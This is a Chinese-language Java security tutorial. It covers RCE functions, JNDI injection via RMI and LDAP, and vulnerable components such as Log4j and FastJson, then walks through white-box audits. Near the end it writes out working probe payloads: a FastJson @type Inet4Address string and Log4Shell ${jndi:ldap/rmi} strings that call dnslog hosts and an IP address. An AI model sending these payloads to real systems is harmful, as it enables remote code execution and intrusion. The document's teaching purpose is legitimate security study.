免责声明
本文发布的工具和脚本,仅用作测试和学习研究,禁止用于商业用途,不能保证其合法性,准确性,完整性和有效性,请根据情况自行判断。
如果任何单位或个人认为该项目的脚本可能涉嫌侵犯其权利,则应及时通知并提供身份证明,所有权证明,我们将在收到认证文件后删除相关内容。
文中所涉及的技术、思路及工具等相关知识仅供安全为目的的学习使用,任何人不得将其应用于非法用途及盈利等目的,间接使用文章中的任何工具、思路及技术,我方对于由此引起的法律后果概不负责。
#知识点:
1、Java安全-RCE执行-5大类函数调用
2、Java安全-JNDI注入-RMI&LDAP&高版本
3、Java安全-不安全组件(框架)-Shiro&FastJson&Jackson&XStream&Log4j
一、演示案例-Java安全-RCE执行-5大类函数调用
1、GroovyExec
2、RuntimeExec
3、ProcessImpl
4、ProcessBuilder
5、ScriptEngineManager
检测:
黑盒看参数名和参数值
白盒看类函数名和可控变量(大部分白盒)
二、演示案例-Java安全-JNDI注入(RCE)-RMI&LDAP&高版本
介绍
JNDI全称为 Java Naming and DirectoryInterface(Java命名和目录接口),是一组应用程序接口,为开发人员查找和访问各种资源提供了统一的通用接口,可以用来定义用户、网络、机器、对象和服务等各种资源。JNDI支持的服务主要有:DNS、LDAP、CORBA、RMI等。
RMI:远程方法调用注册表
LDAP:轻量级目录访问协议
调用检索:
Java为了将Object对象存储在Naming或Directory服务下,提供了Naming Reference功能,对象可以通过绑定Reference存储在Naming或Directory服务下,比如RMI、LDAP等。javax.naming.InitialContext.lookup()
在RMI服务中调用了InitialContext.lookup()的类有:
org.springframework.transaction.jta.JtaTransactionManager.readObject()
com.sun.rowset.JdbcRowSetImpl.execute()
javax.management.remote.rmi.RMIConnector.connect()
org.hibernate.jmx.StatisticsService.setSessionFactoryJNDIName(String sfJNDIName)
在LDAP服务中调用了InitialContext.lookup()的类有:
InitialDirContext.lookup()
Spring LdapTemplate.lookup()
LdapTemplate.lookupContext()
检测:
无黑盒思路
白盒看类函数名和可控变量
靶场演示
jndi本身不是漏洞,是java用来远程加载文件执行从而造成一个RCE的结果,一般是在漏洞利用的时候会使用这个jndi注入达到一个RCE目的。
JDNI注入安全问题(导致RCE)
JDNI注入利用条件
但是有一种情况就是对方使用了高版本的jdk,然后该工具全部的payload都不行怎么办?
高版本绕过:
浅析高低版JDK下的JNDI注入及绕过 [ Mi1k7ea ]
如何绕过高版本JDK的限制进行JNDI注入利用 – KINGX
可以参考这两个文章,不过都是需要从代码去分析调试跟踪,是有一定门槛的。
三、演示案例-不安全组件(框架)-Shiro&FastJson&Jackson&XStream&Log4j
1、Log4j
Apache的一个开源项目,是一个基于Java的日志记录框架。
历史漏洞:阿里云漏洞库
有个问题就是弹计算机也是在对方服务器弹,本地肯定不知道成没成功,这时候可以在jndi注入工具中把生成计算机命令改为请求一个dnslog地址来判断不就行了。
2、Shiro
Java安全框架,能够用于身份验证、授权、加密和会话管理。
历史漏洞:阿里云漏洞库
3、Jackson
当下流行的json解释器,主要负责处理Json的序列化和反序列化。
历史漏洞:阿里云漏洞库
4、FastJson
阿里巴巴公司开源的json解析器,它可以解析JSON格式的字符串,支持将JavaBean序列化为JSON字符串,也可以从JSON字符串反序列化到JavaBean。
历史漏洞:阿里云漏洞库
5、XStream
开源Java类库,能将对象序列化成XML或XML反序列化为对象
历史漏洞:阿里云漏洞库
四、演示案例-白盒审计不安全组件漏洞
FastJson审计
1、源码搭建
2、看引用组件版本及代码实现
漏洞函数
JSON.parse()
JSON.parseObject()
引用组件版本(知道版本就可以去网上找这个版本爆没爆过漏洞)
3、找可控变量及访问实现
admin/product propertyJson
4、测试出网回显调用访问
{"@type":"java.net.Inet4Address","val":"atcuqbczqs.dnstunnel.run"}
Log4j审计
1、看引用组件版本及实现
漏洞函数
logger.info
logger.error
2、找可控变量及访问实现
admin/uploadAdminHeadImage originalFileName
引用组件版本(知道版本就可以去网上找这个版本爆没爆过漏洞)
3、测试出网回显调用访问
${jndi:ldap://jebqzwhwtn.dnstunnel.run}
${jndi:rmi://47.94.236.117:1099/xxxx}
一个一个试(因为不知道源码项目用的什么java版本运行)